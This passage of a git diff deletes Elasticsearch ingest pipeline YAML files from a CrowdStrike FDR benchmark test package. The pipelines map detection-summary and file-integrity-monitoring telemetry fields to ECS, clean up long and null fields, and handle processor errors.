separator: \| - ignore_missing: true - - split: - tag: split_crowdstrike_ConfigStateData_e817cac5 - field: crowdstrike.ConfigStateData - separator: \| - ignore_missing: true - - append: - tag: append_related_hosts_a0b784fd - if: ctx.crowdstrike?.LogonServer != null - field: related.hosts - value: '{{{crowdstrike.LogonServer}}}' - allow_duplicates: false - - append: - tag: append_related_hosts_84a3b58d - if: ctx.crowdstrike?.ClientComputerName != null - field: related.hosts - value: '{{{crowdstrike.ClientComputerName}}}' - allow_duplicates: false - - append: - tag: append_related_hosts_2d2dc803 - if: ctx.crowdstrike?.info?.user?.LastLoggedOnHost != null - field: related.hosts - value: '{{{crowdstrike.info.user.LastLoggedOnHost}}}' - allow_duplicates: false - - - script: - description: Remove long fields based on user input stored in _conf.long_fields*. - tag: script_remove_long_fields_90516c2a - if: ctx._conf?.long_fields == 'delete_long_fields' && ctx._conf?.long_fields_max_length != null - params: - potential_long_fields: - - DylibPath - - EnvironmentVariablesString - - TaskXml - - ScriptContentBytes - - RegBinaryValue - - ScriptContent - - FileContent - - VersionInfo - - OciContainerConfigImage - - OciContainerConfigLabels - - OciContainerConfigTty - - OciContainerEngineType - - OciContainerHostConfigOomKillDisable - - OciContainerHostConfigPrivileged - - OciContainerHostConfigPublishAllPorts - - OciContainerHostConfigReadOnlyRootfs - - OciContainerImageId - - OciContainerInfoRetransmitted - - OciContainerMounts - - OciContainerName - - OciContainerNetworkSettingsIpAddress - - OciContainerStateOOMKilled - - OciContainerStatePid - - OciContainerConfigUser - - OciContainerHostConfigCgroup - - DevicePropertyClassGuid - - DevicePropertyClassName - - DevicePropertyLocationInformation - - ConfigurationDescriptorName - - InstanceMetadata - - InstanceMetadataSignature - - OciContainerAppName - - OciContainerAppVersion - - ManagedPdbBuildPath - - RegStringValue - - InterfaceKind - - ScriptContentScanId - - EfiVariableCustomModeAttributes - - EfiVariableDbAttributes - - EfiVariableDbSha256Hash - - EfiVariableKekAttributes - - EfiVariableKekSha256Hash - - EfiVariablePkAttributes - - EfiVariablePkSha256Hash - - EfiVariableSecureBootAttributes - - EfiVariableSetupModeAttributes - - EfiVariableSignatureSupportAttributes - - ExtendedAttributeValue - - EfiVariableSetupMode - - EfiVariableSignatureSupport - - MmioDataSmiEn - - MmioDataTco1Cnt - - PciConfigDataBdsm - - PciConfigDataBiosCntl - - PciConfigDataGgc - - PciConfigDataHfsts1 - - PciConfigDataRemapbase - - PciConfigDataRemaplimit - - PciConfigDataTom - - PciConfigDataTouud - - PciConfigDataTsegmb - - SpibarDataBfpr - - SpibarDataFreg0 - - SpibarDataFreg1 - - SpibarDataFreg2 - - SpibarDataFreg3 - - SpibarDataFreg4 - - SpibarDataHsfs - - SpibarDataPr0 - - SpibarDataPr1 - - SpibarDataPr2 - - SpibarDataPr3 - - SpibarDataPr4 - - SpibarDataVscc0 - - SpibarDataVscc1 - - VolumeSnapshotName - - MmioDataGenPmconB - - VolumeSnapshotTimeStamp - - OciContainerHostConfigDevices - - OciContainerPhase - - PatternIdList - - RPath - - VolumeOriginPath - - AccountDomain - - AccountObjectGuid - - AccountObjectSid - - DcNumAttachments - - DcNumBlockingPolicies - - ExtendedAttributeValueReadable - - FileVaultIsEnabled - - SamAccountName - - ServiceDependOnService - - ApplicationName - - BluetoothDeviceName - - BluetoothServiceUuid_1 - - BluetoothServiceUuid_2 - - BluetoothServiceUuid_3 - - BluetoothServiceUuid_4 - - BluetoothServiceUuid_5 - - BluetoothVendorIdSource - - CommandCount - - CommandCountMax - - ConnectionAddressIP6 - - FirstCommand - - LastAdded - - LastDisplayed - - ThreadStartBytes - - VolumeDeviceVendor - - BluetoothClassOfDeviceValue - - BluetoothServiceName_3 - - BiosChanged - - BluetoothServiceUuid_6 - - ChangedPcrBitmap - - ExecutableBytes - - ObjectNameEtw - - ObjectTypeEtw - - Pcr0 - - Pcr1 - - Pcr2 - - Pcr3 - - Pcr4 - - Pcr5 - - Pcr6 - - Pcr7 - - RpcOpClassification - - ServiceAccessPropertiesEtw - - ServiceDelayedAutoStart - - SubjectDomainNameEtw - - BluetoothDeviceAppearanceValue - - BluetoothDeviceModelNumber - - BluetoothServiceName_1 - - BluetoothServiceName_4 - - BluetoothServiceName_5 - - BluetoothServiceName_6 - - BluetoothServiceName_7 - - BluetoothServiceName_8 - - BluetoothServiceUuidArray - - BluetoothServiceUuid_7 - - BluetoothServiceUuid_8 - - ClientId - - HttpInternalSource - - HttpMethod - - HttpRequestHeader - - HttpUrl - - IndividualDiskInfo - - KeyObject - - LastPendingUpdateInstalledTime - - LaunchItemType - - LaunchItemUrl - - LdapSearchFilterSample - - MemoryAvailable - - OciContainersStartedCount - - OciContainersStoppedCount - - PciConfigDataGenPmconA - - PciConfigDataMesegBase - - PciConfigDataSmramc - - PendingUpdateIds - - ProcessAttributes - - QuarantinedFileExtendedState - - QuarantinedFileName - - QuarantinedFileState - - RegCreateDisposition - - RegCreateOptions - - RegPostObjectName - - RegRootObjectName - - SourceThreadModule - - StorageUsageInfo - - SystemProcessCount - - UninstallPendingUpdateIds - source: |- - for (String field: params.potential_long_fields) { - if (ctx.crowdstrike.get(field) != null && ctx.crowdstrike[field].length() > ctx._conf.long_fields_max_length) { - ctx.crowdstrike.remove(field); - } - } - - # Cleanup. - - remove: - tag: remove_crowdstrike_event_platform_f15993d1 - if: ctx.host?.os?.type != null - field: - - crowdstrike.event_platform - ignore_missing: true - ignore_failure: true - - remove: - tag: remove_142d62c1 - if: ctx.aws?.s3?.bucket != null && ctx.aws.s3.object != null - field: - - log.file.path - - log.offset - ignore_missing: true - ignore_failure: true - - remove: - tag: remove_c559a4ef - if: ctx._conf?.prune_fields == true - field: - - agent.ephemeral_id - - event.timezone - - log.offset - ignore_missing: true - ignore_failure: true - - remove: - tag: remove_d684cf91 - field: - - _temp - - crowdstrike.timestamp - - crowdstrike._time - - crowdstrike.Time - - crowdstrike.CreationTimeStamp - - crowdstrike.DomainName - - crowdstrike.ConnectionDirection - - crowdstrike.UserIsAdmin - - crowdstrike.UTCTimestamp - - crowdstrike.TargetDirectoryName - - crowdstrike.BrowserExtensionArchitecture - - crowdstrike.MitreAttack - - _conf - ignore_missing: true - - script: - description: This script processor iterates over the whole document to remove fields with null values. - tag: remove_nulls_0370f4ef - source: |- - void handleMap(Map map) { - map.values().removeIf(v -> { - if (v instanceof Map) { - handleMap(v); - } else if (v instanceof List) { - handleList(v); - } - return v == null || v == '' || v == '-' || v == 'none' || (v instanceof Map && v.size() == 0) || (v instanceof List && v.size() == 0) - }); - } - void handleList(List list) { - list.removeIf(v -> { - if (v instanceof Map) { - handleMap(v); - } else if (v instanceof List) { - handleList(v); - } - return v == null || v == '' || v == '-' || v == 'none' || (v instanceof Map && v.size() == 0) || (v instanceof List && v.size() == 0) - }); - } - handleMap(ctx); - - # error handling - - set: - tag: set_pipeline_error_into_event_kind_92954dfa - if: ctx.error?.message != null - field: event.kind - value: pipeline_error - - append: - tag: append_preserve_original_event_into_tags_9fe66b2c - if: ctx.error?.message != null - field: tags - value: preserve_original_event - allow_duplicates: false -on_failure: - - set: - tag: set_event_kind_f51b77ad - field: event.kind - value: pipeline_error - - append: - tag: append_tags_d762b9c5 - field: tags - value: preserve_original_event - allow_duplicates: false - - append: - tag: append_error_message_e0c9bd63 - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/epp_detection_summary.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/epp_detection_summary.yml deleted file mode 100644 index d40bb25efa..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/epp_detection_summary.yml +++ /dev/null @@ -1,260 +0,0 @@ ---- -description: Pipeline for processing Epp Detection Summary events. -processors: - - # EppDetectionSummaryEvent converts - - convert: - tag: convert_CloudIndicator_to_boolean_552bc0f4 - if: ctx.crowdstrike?.CloudIndicator != null && ctx.crowdstrike?.CloudIndicator != '' - field: crowdstrike.CloudIndicator - type: boolean - ignore_missing: true - on_failure: - - remove: - tag: remove_crowdstrike_CloudIndicator_7bd12275 - field: - - crowdstrike.CloudIndicator - - append: - tag: append_error_message_1c33af04 - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - tag: convert_PatternDispositionValue_to_long_1e7a32d8 - if: ctx.crowdstrike?.PatternDispositionValue != null && ctx.crowdstrike?.PatternDispositionValue != '' - field: crowdstrike.PatternDispositionValue - type: long - ignore_missing: true - on_failure: - - remove: - tag: remove_crowdstrike_PatternDispositionValue_b117c4a5 - field: - - crowdstrike.PatternDispositionValue - - append: - tag: append_error_message_c637ab38 - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - tag: convert_LocalIP_to_ip_85a6b836 - if: ctx.crowdstrike?.LocalIP != null && ctx.crowdstrike.LocalIP != '' - field: crowdstrike.LocalIP - type: ip - ignore_missing: true - on_failure: - - remove: - tag: remove_crowdstrike_LocalIP_f70dd2bb - field: - - crowdstrike.LocalIP - - append: - tag: append_error_message_c42100f6 - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - tag: convert_LocalIPv6_to_ip_9e08b342 - if: ctx.crowdstrike?.LocalIPv6 != null && ctx.crowdstrike.LocalIPv6 != '' - field: crowdstrike.LocalIPv6 - type: ip - ignore_missing: true - on_failure: - - remove: - tag: remove_crowdstrike_LocalIPv6_20f3473b - field: - - crowdstrike.LocalIPv6 - - append: - tag: append_error_message_a7e996f2 - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - # timestamps - - foreach: - tag: foreach_crowdstrike_FilesAccessed_7975c0fe - if: ctx.crowdstrike?.FilesAccessed instanceof List - field: crowdstrike.FilesAccessed - processor: - date: - tag: date__ingest__value_Timestamp_b9dba206 - field: _ingest._value.Timestamp - target_field: _ingest._value.Timestamp - formats: - - UNIX - on_failure: - - remove: - tag: remove__ingest__value_Timestamp_1e9e21da - field: - - _ingest._value.Timestamp - ignore_failure: true - - append: - tag: append_error_message_8eaed846 - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - foreach: - tag: foreach_crowdstrike_FilesWritten_069e87ee - if: ctx.crowdstrike?.FilesWritten instanceof List - field: crowdstrike.FilesWritten - processor: - date: - tag: date__ingest__value_Timestamp_3d945d16 - field: _ingest._value.Timestamp - target_field: _ingest._value.Timestamp - formats: - - UNIX - on_failure: - - remove: - tag: remove__ingest__value_Timestamp_151916ea - field: - - _ingest._value.Timestamp - ignore_failure: true - - append: - tag: append_error_message_cccd8556 - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - # event categorization fields - - set: - tag: set_event_kind_to_alert_39295792 - field: event.kind - value: alert - - append: - tag: append_malware_category_425d1f27 - field: event.category - value: malware - - append: - tag: append_info_type_8a66ccaa - field: event.type - value: info - - # ECS field mappings - - rename: - tag: rename_crowdstrike_LocalIP_to_source_ip_383fbff4 - if: ctx.crowdstrike?.LocalIP != null && ctx.crowdstrike.LocalIP != "" - field: crowdstrike.LocalIP - target_field: source.ip - ignore_missing: true - - convert: - tag: convert_crowdstrike_ProcessId_to_string_7dfed8f3 - if: ctx.crowdstrike?.ProcessId != null && !(ctx.crowdstrike.ProcessId instanceof String) - field: crowdstrike.ProcessId - type: string - ignore_missing: true - - rename: - tag: rename_crowdstrike_ProcessId_to_process_pid_08662a31 - if: ctx.process?.entity_id == null - field: crowdstrike.ProcessId - target_field: process.entity_id - ignore_missing: true - - split: - tag: split_crowdstrike_HostGroups_f53aac76 - field: crowdstrike.HostGroups - separator: ',' - ignore_missing: true - - rename: - tag: rename_crowdstrike_ParentImageFileName_to_process_parent_executable_0b7a24c2 - if: ctx.process?.parent?.name == null - field: crowdstrike.ParentImageFileName - target_field: process.parent.name - ignore_missing: true - - rename: - tag: rename_crowdstrike_ParentImageFilePath_to_process_parent_executable_730e3198 - if: ctx.process?.parent?.executable == null - field: crowdstrike.ParentImageFilePath - target_field: process.parent.executable - ignore_missing: true - - rename: - tag: rename_crowdstrike_Description_to_message_bf015ca8 - field: crowdstrike.Description - target_field: message - ignore_missing: true - - set: - tag: set_rule_description_from_message_1343fd6e - if: ctx.message != null - field: rule.description - copy_from: message - - set: - tag: set_process_name_from_crowdstrike_FileName_56043937 - field: process.name - copy_from: crowdstrike.FileName - ignore_empty_value: true - - set: - tag: set_process_executable_from_crowdstrike_FilePath_68aaf1a2 - field: process.executable - copy_from: crowdstrike.FilePath - ignore_empty_value: true - - rename: - tag: rename_crowdstrike_SHA256String_to_file_hash_sha256_aa319d9c - field: crowdstrike.SHA256String - target_field: file.hash.sha256 - ignore_missing: true - - rename: - tag: rename_crowdstrike_MD5String_to_file_hash_md5_adef1944 - field: crowdstrike.MD5String - target_field: file.hash.md5 - ignore_missing: true - - rename: - tag: rename_crowdstrike_SHA1String_to_file_hash_sha1_b607b768 - field: crowdstrike.SHA1String - target_field: file.hash.sha1 - ignore_missing: true - - append: - tag: append_file_hash_sha1_to_related_hash_c997d53d - if: ctx.file.hash.sha1 != null && ctx.file.hash.sha1 != "" - field: related.hash - value: '{{{file.hash.sha1}}}' - allow_duplicates: false - - append: - tag: append_file_hash_sha256_to_related_hash_78d565ff - if: ctx.file.hash.sha256 != null && ctx.file.hash.sha256 != "" - field: related.hash - value: '{{{file.hash.sha256}}}' - allow_duplicates: false - - append: - tag: append_file_hash_md5_to_related_hash_6d53928a - if: ctx.file.hash.md5 != null && ctx.file.hash.md5 != "" - field: related.hash - value: '{{{file.hash.md5}}}' - allow_duplicates: false - - rename: - tag: rename_crowdstrike_FileName_to_file_name_ef2fa373 - field: crowdstrike.FileName - target_field: file.name - ignore_missing: true - - rename: - tag: rename_crowdstrike_FilePath_to_file_path_da7c5277 - field: crowdstrike.FilePath - target_field: file.path - ignore_missing: true - - rename: - tag: rename_crowdstrike_Name_to_rule_name_0af962b5 - field: crowdstrike.Name - target_field: rule.name - ignore_missing: true - - rename: - tag: rename_crowdstrike_DetectId_to_rule_id_64a9abd2 - field: crowdstrike.DetectId - target_field: rule.id - ignore_missing: true - - append: - tag: append_crowdstrike_MACAddress_into_host_mac_c3cddec3 - if: ctx.crowdstrike?.MACAddress != null && ctx.crowdstrike.MACAddress != "" - field: host.mac - value: '{{{crowdstrike.MACAddress}}}' - allow_duplicates: false - - uppercase: - tag: uppercase_host_mac_a2d4985e - if: ctx.host?.mac != null - field: host.mac - ignore_missing: true - - # error handling -on_failure: - - append: - tag: append_error_message_9319ae1f - field: error.message - value: Processor "{{{ _ingest.on_failure_processor_type }}}" with tag "{{{ _ingest.on_failure_processor_tag }}}" in pipeline "{{{ _ingest.on_failure_pipeline }}}" failed with message "{{{ _ingest.on_failure_message }}}" - - set: - tag: set_pipeline_error_into_event_kind_f51b77ad - field: event.kind - value: pipeline_error - - append: - tag: append_preserve_original_event_into_tags_d762b9c5 - field: tags - value: preserve_original_event - allow_duplicates: false diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/fim_rule_matched.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/fim_rule_matched.yml deleted file mode 100644 index 68684856a4..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/fim_rule_matched.yml +++ /dev/null @@ -1,397 +0,0 @@ ---- -description: Pipeline for processing FileIntegrityMonitorRuleMatched and FileIntegrityMonitorRuleMatchedEnriched events from Falcon FileVantage. -processors: - - # event categorization fields - - set: - tag: set_event_kind_to_event_de80643c - field: event.kind - value: event - - append: - tag: append_file_to_event_category_5b7e3a2d - if: ctx.crowdstrike?.ObjectType != null && (ctx.crowdstrike.ObjectType == '1' || ctx.crowdstrike.ObjectType == '2') - field: event.category - value: file - allow_duplicates: false - - append: - tag: append_registry_to_event_category_c6ba5eba - if: ctx.crowdstrike?.ObjectType != null && (ctx.crowdstrike.ObjectType == '3' || ctx.crowdstrike.ObjectType == '4') - field: event.category - value: registry - allow_duplicates: false - # fall back to file category for Enriched events - - append: - tag: append_file_to_event_category_32d4d587 - if: ctx.event.category == null - field: event.category - value: file - - script: - tag: script_set_event_type_6a155454 - if: ctx.crowdstrike?.ObjectAccessOperationType != null - params: - op_types: - "1": creation - "2": change - "3": deletion - "4": change - "5": change - "6": change - "7": change - "8": access - source: |- - def type = params.get('op_types')[ctx.crowdstrike.ObjectAccessOperationType]; - if (type != null) { - ctx.event = ctx.event ?: [:]; - ctx.event.type = [type]; - } - on_failure: - - append: - tag: append_error_message_7270a1e4 - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - # fall back to change type for Enriched events - - append: - tag: append_change_to_event_type_d125ca99 - if: ctx.event.type == null - field: event.type - value: change - - # field values mapping - - script: - tag: script_set_object_type_348f5b4a - if: ctx.crowdstrike?.ObjectType != null - params: - obj_types: - "1": FILE - "2": FOLDER - "3": VALUE - "4": KEY - source: |- - def type = params.get('obj_types')[ctx.crowdstrike.ObjectType]; - if (type != null) { - ctx.crowdstrike.ObjectType = type; - } - on_failure: - - append: - tag: append_error_message_da5b712a - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - script: - tag: script_set_operation_type_70f01684 - if: ctx.crowdstrike?.ObjectAccessOperationType != null - params: - op_types: - "1": CREATE - "2": WRITE - "3": DELETE - "4": SET - "5": RENAME - "6": ATTRIBUTES_CHANGED - "7": PERMISSIONS_CHANGED - "8": OPEN_WRITE - source: |- - def type = params.get('op_types')[ctx.crowdstrike.ObjectAccessOperationType]; - if (type != null) { - ctx.crowdstrike.ObjectAccessOperationType = type; - } - on_failure: - - append: - tag: append_error_message_689b42d4 - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - # converts - - convert: - tag: convert_crowdstrike_ContentDiff_Exists_to_boolean_9647694e - field: crowdstrike.ContentDiff.Exists - type: boolean - ignore_missing: true - on_failure: - - remove: - tag: remove_crowdstrike_ContentDiff_Exists_a5ef3c39 - field: - - crowdstrike.ContentDiff.Exists - - append: - tag: append_error_message_4531827e - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - tag: convert_crowdstrike_Suppression_Suppressed_to_boolean_64590ae3 - field: crowdstrike.Suppression.Suppressed - type: boolean - ignore_missing: true - on_failure: - - remove: - tag: remove_crowdstrike_Suppression_Suppressed_6d408885 - field: - - crowdstrike.Suppression.Suppressed - - append: - tag: append_error_message_2bb5a411 - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - tag: convert_crowdstrike_PolicyRuleSeverity_to_long_29e3439d - field: crowdstrike.PolicyRuleSeverity - type: long - ignore_missing: true - on_failure: - - remove: - tag: remove_crowdstrike_PolicyRuleSeverity_d600dfd1 - field: - - crowdstrike.PolicyRuleSeverity - - append: - tag: append_error_message_fca361b3 - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - tag: convert_crowdstrike_FileSize_to_long_57c441c5 - field: crowdstrike.FileSize - type: long - ignore_missing: true - on_failure: - - append: - tag: append_error_message_e42344eb - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - # timestamps - - date: - tag: date_crowdstrike_RuleModifiedTimeStamp_into_crowdstrike_RuleModifiedTimeStamp_8d1f9a9e - if: ctx.crowdstrike?.RuleModifiedTimeStamp != null && ctx.crowdstrike.RuleModifiedTimeStamp != '' - field: crowdstrike.RuleModifiedTimeStamp - target_field: crowdstrike.RuleModifiedTimeStamp - formats: - - UNIX - - UNIX_MS - timezone: UTC - on_failure: - - remove: - tag: remove_RuleModifiedTimeStamp_10560cc7 - field: - - RuleModifiedTimeStamp - - append: - tag: append_error_message_a976ed0e - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - # ECS mappings - - set: - tag: set_user_id_from_crowdstrike_User_ID_494678a0 - field: user.id - copy_from: crowdstrike.User.ID - ignore_empty_value: true - - set: - tag: set_user_name_from_crowdstrike_User_Name_2a157dc4 - field: user.name - copy_from: crowdstrike.User.Name - ignore_empty_value: true - - set: - tag: set_host_hostname_from_crowdstrike_Host_Name_97f29382 - field: host.hostname - copy_from: crowdstrike.Host.Name - ignore_empty_value: true - - set: - tag: set_rule_name_from_crowdstrike_Policy_RuleBasePath_cb4280e1 - field: rule.name - copy_from: crowdstrike.Policy.RuleBasePath - ignore_empty_value: true - - set: - tag: set_rule_ruleset_from_crowdstrike_Policy_RuleGroupName_148ba698 - field: rule.ruleset - copy_from: crowdstrike.Policy.RuleGroupName - ignore_empty_value: true - - set: - tag: set_file_hash_sha256_from_crowdstrike_ContentDiff_SHA256_ed9edf84 - field: file.hash.sha256 - copy_from: crowdstrike.ContentDiff.SHA256 - ignore_empty_value: true - - set: - tag: set_rule_id_from_crowdstrike_PolicyRuleID_d838e264 - field: rule.id - copy_from: crowdstrike.PolicyRuleID - ignore_empty_value: true - - set: - tag: set_rule_ruleset_from_crowdstrike_PolicyRuleGroupID_f58c49f0 - field: rule.ruleset - copy_from: crowdstrike.PolicyRuleGroupID - ignore_empty_value: true - - set: - tag: set_file_size_from_crowdstrike_FileSize_58cea3ea - field: file.size - copy_from: crowdstrike.FileSize - ignore_empty_value: true - - set: - tag: set_file_owner_from_crowdstrike_NewOwner_9af693ec - field: file.owner - copy_from: crowdstrike.NewOwner - ignore_empty_value: true - - set: - tag: set_file_group_from_crowdstrike_NewGroup_b85bdf80 - field: file.group - copy_from: crowdstrike.NewGroup - ignore_empty_value: true - - append: - tag: append_crowdstrike_FileAttributesNew_into_file_attributes_2d526026 - if: ctx.crowdstrike?.FileAttributesNew != null - field: file.attributes - value: '{{{crowdstrike.FileAttributesNew}}}' - allow_duplicates: false - - append: - tag: append_crowdstrike_NewFileAttributesLinux_into_file_attributes_97600240 - if: ctx.crowdstrike?.NewFileAttributesLinux != null - field: file.attributes - value: '{{{crowdstrike.NewFileAttributesLinux}}}' - allow_duplicates: false - - append: - tag: append_file_hash_sha256_into_related_hash_017aef51 - if: ctx.file?.hash?.sha256 != null - field: related.hash - value: '{{{file.hash.sha256}}}' - allow_duplicates: false - - script: - tag: script_set_event_severity_from_PolicyRuleSeverity_4032c1c4 - if: ctx.crowdstrike?.PolicyRuleSeverity != null - source: |- - ctx.event = ctx.event ?: [:]; - def severity = ctx.crowdstrike.PolicyRuleSeverity; - if (severity == 1) { - ctx.event.severity = 21; - } else if (severity == 2) { - ctx.event.severity = 47; - } else if (severity == 3) { - ctx.event.severity = 73; - } else if (severity == 4) { - ctx.event.severity = 99; - } - on_failure: - - append: - tag: append_error_message_cdf0b014 - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - # rename event handling for files and registry - - set: - tag: set_file_path_from_ObjectNameNew_for_rename_events_0400ebd4 - if: ctx.crowdstrike?.ObjectAccessOperationType == 'RENAME' && (ctx.crowdstrike.ObjectType == 'FILE' || ctx.crowdstrike.ObjectType == 'FOLDER') - field: file.path - copy_from: crowdstrike.ObjectNameNew - ignore_empty_value: true - - set: - tag: set_file_original_path_from_ObjectName_for_rename_events_49f9c5d0 - if: ctx.crowdstrike?.ObjectAccessOperationType == 'RENAME' && (ctx.crowdstrike.ObjectType == 'FILE' || ctx.crowdstrike.ObjectType == 'FOLDER') - field: file.Ext.original.path - copy_from: crowdstrike.ObjectName - ignore_empty_value: true - - set: - tag: set_registry_path_from_ObjectNameNew_for_rename_events_ee30dbc5 - if: ctx.crowdstrike?.ObjectAccessOperationType == 'RENAME' && (ctx.crowdstrike.ObjectType == 'VALUE' || ctx.crowdstrike.ObjectType == 'KEY') - field: registry.path - copy_from: crowdstrike.ObjectNameNew - ignore_empty_value: true - - set: - tag: set_file_path_from_ObjectName_for_non-rename_events_d432ea88 - if: ctx.crowdstrike?.ObjectAccessOperationType != 'RENAME' && (ctx.crowdstrike.ObjectType == 'FILE' || ctx.crowdstrike.ObjectType == 'FOLDER') && ctx.file?.path == null - field: file.path - copy_from: crowdstrike.ObjectName - ignore_empty_value: true - - set: - tag: set_registry_path_from_ObjectName_for_non-rename_events_ae198652 - if: ctx.crowdstrike?.ObjectAccessOperationType != 'RENAME' && (ctx.crowdstrike.ObjectType == 'VALUE' || ctx.crowdstrike.ObjectType == 'KEY') && ctx.registry?.path == null - field: registry.path - copy_from: crowdstrike.ObjectName - ignore_empty_value: true - - set: - tag: set_file_type_to_dir_for_folders_3a399212 - if: ctx.crowdstrike?.ObjectType == 'FOLDER' && ctx.file?.path != null - field: file.type - value: dir - ignore_empty_value: true - - set: - tag: set_file_type_to_file_for_files_f5d7d730 - if: ctx.crowdstrike?.ObjectType == 'FILE' && ctx.file?.path != null && ctx.file?.type == null - field: file.type - value: file - ignore_empty_value: true - # file.path parsing and file.Ext.original.path parsing are handled by default.yml pipeline - - - script: - description: Parse registry path to extract registry key and value - tag: parse_registry_path_to_extract_registry_key_and_value_8265f599 - if: ctx.registry?.path != null && ctx.registry.path.length() > 0 - source: |- - def path = ctx.registry.path; - def idx = path.lastIndexOf('\\'); - if (idx >= 0) { - ctx.registry = ctx.registry ?: [:]; - ctx.registry.key = path.substring(0, idx); - ctx.registry.value = path.substring(idx+1); - } else { - ctx.registry = ctx.registry ?: [:]; - ctx.registry.key = path; - } - // Clean up registry.key: remove \REGISTRY\(USER|MACHINE)\ prefix - if (ctx.registry.key != null) { - def key = ctx.registry.key; - if (key.startsWith('\\REGISTRY\\USER\\')) { - ctx.registry.key = key.substring('\\REGISTRY\\USER\\'.length()); - } else if (key.startsWith('\\REGISTRY\\MACHINE\\')) { - ctx.registry.key = key.substring('\\REGISTRY\\MACHINE\\'.length()); - } - } - on_failure: - - append: - tag: append_error_message_b5482b4f - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - # FileIntegrityMonitorRuleMatched renames - - rename: - tag: rename_PolicyIdentifier_to_Policy_ID_f03b77d2 - field: crowdstrike.PolicyIdentifier - target_field: crowdstrike.Policy.ID - ignore_missing: true - - # clean up - - remove: - tag: remove_custom_duplicate_fields_fb958877 - field: - - crowdstrike.User - - crowdstrike.Host.Name - - crowdstrike.Policy.RuleBasePath - - crowdstrike.Policy.RuleGroupName - - crowdstrike.ContentDiff.SHA256 - - crowdstrike.PolicyRuleID - - crowdstrike.PolicyRuleGroupID - - crowdstrike.FileSize - - crowdstrike.NewOwner - - crowdstrike.NewGroup - - crowdstrike.ObjectName - - crowdstrike.ObjectNameNew - ignore_missing: true - - # error handling - - set: - tag: set_pipeline_error_into_event_kind_92954dfa - if: ctx.error?.message != null - field: event.kind - value: pipeline_error - - append: - tag: append_preserve_original_event_into_event_kind_a0b8d607 - if: ctx.error?.message != null - field: event.kind - value: preserve_original_event - allow_duplicates: false -on_failure: - - append: - tag: append_error_message_d1950926 - field: error.message - value: Processor '{{{ _ingest.on_failure_processor_type }}}' {{{#_ingest.on_failure_processor_tag}}}with tag '{{{ _ingest.on_failure_processor_tag }}}' {{{/_ingest.on_failure_processor_tag}}}failed with message '{{{ _ingest.on_failure_message }}}' - - set: - tag: set_pipeline_error_into_event_kind_f51b77ad - field: event.kind - value: pipeline_error - - append: - tag: 